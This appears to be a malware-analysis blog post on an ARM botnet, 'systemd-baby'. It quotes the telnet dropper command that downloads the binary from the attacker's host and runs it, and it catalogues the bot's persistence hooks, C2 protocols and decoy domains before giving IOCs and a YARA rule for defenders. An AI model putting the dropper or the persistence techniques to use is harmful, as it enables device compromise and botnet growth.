> devwr/research

· 4 min read

systemd-baby: 180 places to come back from

An ARM bot that writes itself into nearly every autostart path Linux, Android, OpenWrt and macOS have, behind a screen of decoy C2s.

An armv7l bot named systemd-baby, delivered over telnet from 77.239.124[.]172 on 4 November. Static analysis only.

Known vs. new

Status (17 Nov)
armv7l hashNot on MalwareBazaar, ThreatFox or VirusTotal
x86_64 URL on the same hostOn URLhaus since 4 Nov (zensatori)
Related x86-64 build dcdfb586…MalwareBazaar 18 Oct (c2hunter). It installs as nyx.service, not systemd-baby
Three of its decoy domainsOn ThreatFox as Mirai C2 (NDA0E, 18 Oct)
77.239.124[.]0/24Hosting covered by eFeSpain

I found no write-up of the family. New here: the persistence catalogue, the decoys, and the armv7l build.

Delivery

cd /tmp || cd /var/run || cd /root; tftp -g -r /bins/armv7l/systemd-baby 77.239.124[.]172 || curl -O hxxp://77.239.124[.]172/bins/armv7l/systemd-baby || wget ... || busybox wget ... || ftpget ...; chmod +x systemd-baby; ./systemd-baby || sudo ./systemd-baby

Preceded by echo SHELL_TEST, /bin/busybox TEST and an ipinfo.io/ip lookup.

Persistence

316 KB, static, stripped, EABI5 hard-float. Its strings name 184 distinct paths. Highlights:

  • systemd: service, timer (every 5 min), .path unit, a user unit, and a generator at /etc/systemd/system-generators/systemd-baby-gen that recreates the unit on every boot or daemon-reload.
  • PAM: session optional pam_exec.so quiet <bin> for sshd, login, su, sudo, common-auth, system-auth. Every login restarts it.
  • Package managers: apt DPkg::Post-Invoke, a dnf plugin (net-hook.py), a pacman hook, a yum entry. Patching the box re-runs it.
  • Every init system: SysV rc*.d, OpenRC, runit, s6, s6-overlay, dinit, perp, minit, anopa, inittab, rc.local, FreeBSD rc.d.
  • Embedded: OpenWrt procd, uci-defaults, hotplug, U-Boot fw_setenv bootcmd.
  • Android: init.rc on sys.boot_completed, Magisk/KernelSU service.d, post-fs-data.d, zygisk.d, su.d.
  • Everything else: cron (all forms), udev rules, NetworkManager, dhclient, wpa_supplicant, logrotate postrotate, tmpfiles.d, XDG autostart, desktop session hooks, PulseAudio, PipeWire, BlueZ, and the rc files of most shells (bash, zsh, fish, elvish, mksh, ash).
  • macOS: /Library/LaunchDaemons/com.network.dispatch.plist. Dead code in an ARM Linux binary.

Several entries cannot work as written: ActivatedBy= in a .link file, a yum “repo” carrying post_transaction_actions, /home.profile (a missing slash). It reads like breadth over testing.

Defence and rivalry: chattr, oom_score_adj, a /dev/watchdog feeder, a “swarm” of watchdog processes ([SWARM-%d] vengeance: killed killer of %s), checks for strace, ltrace, objdump and readelf, and a BOTKILLER command.

Three protocols, many decoys

One binary speaks:

  • MIRAI-CNC/1.0 with HELLO|…, ATTACK|, UPDATE|, STOPALL
  • Gafgyt-style !* SH, SCANNER ON/OFF, BOTKILLER, GETLOCALIP
  • IRC: NICK bot-%s, PRIVMSG #%s :HTTPFLOOD ready
  • HTTP beacons: POST /api/v1/beacon with X-Bot-Id, X-Campaign, and /api/v2/telem/hello/heartbeat with ngrok-skip-browser-warning: 1

The plaintext “C2s” look planted:

  • the beacon’s JWT is literally eyJhbGciOiJIUzI1NiJ9.decoy.token
  • grpc.internal-telemetry.svc[.]cluster[.]local and control.tor2web-relay-fast[.]onion
  • dozens of RFC 5737 documentation addresses (192.0.2.x, 198.51.100.x, 203.0.113.x)
  • three of the domains resolve to the same six AWS addresses as their bare apex, a parking pattern; the rest don’t exist

A ChaCha20 constant is present, so the real C2 is probably encrypted. I did not recover it statically. Treat the domain list as a signature, not a blocklist.

Floods: home-slammer, home-holder, pps-flood, mix-flood, a browser-mimicking HTTP/2 flood with over 100 sec-ch-ua variants, Discord, Source Engine query.

Other strings

  • Agent ID from ORCH_AGENT_ID or a dev-%02x… value cached in ~/.cache / ~/.agent; campaign string op-cascade-2024; UUID b7f4a2e1-9c88-4d63-8f0e-2a91c4d5e6f7.
  • Format strings that null-route %s and www.%s in /etc/hosts, likely to block rival or security domains.
  • A list of ~40 real daemon paths (/usr/sbin/sshd, dockerd, postgres, NetworkManager …) and kernel-thread names (idle_inject, ext4-rsv-conf, mmc-cmdq), consistent with process-name masquerading.
  • rolaiproxysdk, reverse_tcp, system-update, systemd-cached, systemd-worker: purpose not confirmed statically.
  • Non-documentation IPs embedded alongside the decoys, none on abuse.ch: 45.61.161[.]207, 45.83.140[.]28, 5.101.221[.]87, 51.15.68[.]114, 94.130.53[.]201, 195.201.24[.]6, 160.22.107[.]10. Unverified; possibly more decoys.
  • Self-update to %s.bak via /tmp/.ud_XXXXXX; marker .baby_update.

Three of the decoy domains also appear in dcdfb586… (1.1 MB, x86-64, MalwareBazaar 18 Oct). Its public Triage run shows a different install name: /etc/systemd/system/nyx.service, /etc/init.d/S99nyx, /etc/profile.d/sys.sh, /etc/rc.local, cron, /var/Sofia, a watchdog write and a scan of ~75,000 hosts. Same decoy list, different branding.

Activity

77.239.124[.]172 logged in over telnet in 17 sessions between 2 and 4 November; one fetched the binary. URLhaus also has its x86_64 build URL from 4 November.

IOCs

TypeValue
sha256 (armv7l)1536a8c4d78976a3cbea4fbc2a9012418a4708b6d421737ea7f3ea71578a3f9b
sha256 (related x86-64)dcdfb5866c594ee0f92149fed4efcc2b243bf4da1f747a3b2e0b680fdd483df8
Payload host77.239.124[.]172 (AS198364)
URLshxxp://77.239.124[.]172/bins/armv7l/systemd-baby, .../bins/x86_64/systemd-baby
Files/usr/local/bin/systemd-baby, /usr/local/bin/watchdog-baby, /etc/systemd/system-generators/systemd-baby-gen, /etc/pam.d/* + pam_exec.so, */99-baby*
StringsMIRAI-CNC/1.0, ORCH_AGENT_ID, op-cascade-2024, .baby_update, /dev/shm/.nswarm, com.network.dispatch
Decoy domainsbeacon.systemd-notify-service[.]co, mgmt-panel.serverstats-daemon[.]com, cdn-edge-updates.hostcloud-eu[.]net, api-relay-3.metrics-collector[.]io, sync.softwaremirror.workers[.]dev
rule systemd_baby
{
    strings:
        $a = "MIRAI-CNC/1.0"
        $b = "systemd-baby-gen"
        $c = "ORCH_AGENT_ID"
        $d = "/api/v1/beacon"
        $e = "com.network.dispatch"
        $f = "eyJhbGciOiJIUzI1NiJ9.decoy.token"
    condition:
        uint32(0) == 0x464c457f and 3 of them
}

Hunt: pam_exec.so lines in /etc/pam.d, anything in /etc/systemd/system-generators/, and DPkg::Post-Invoke entries you didn’t write.

← all posts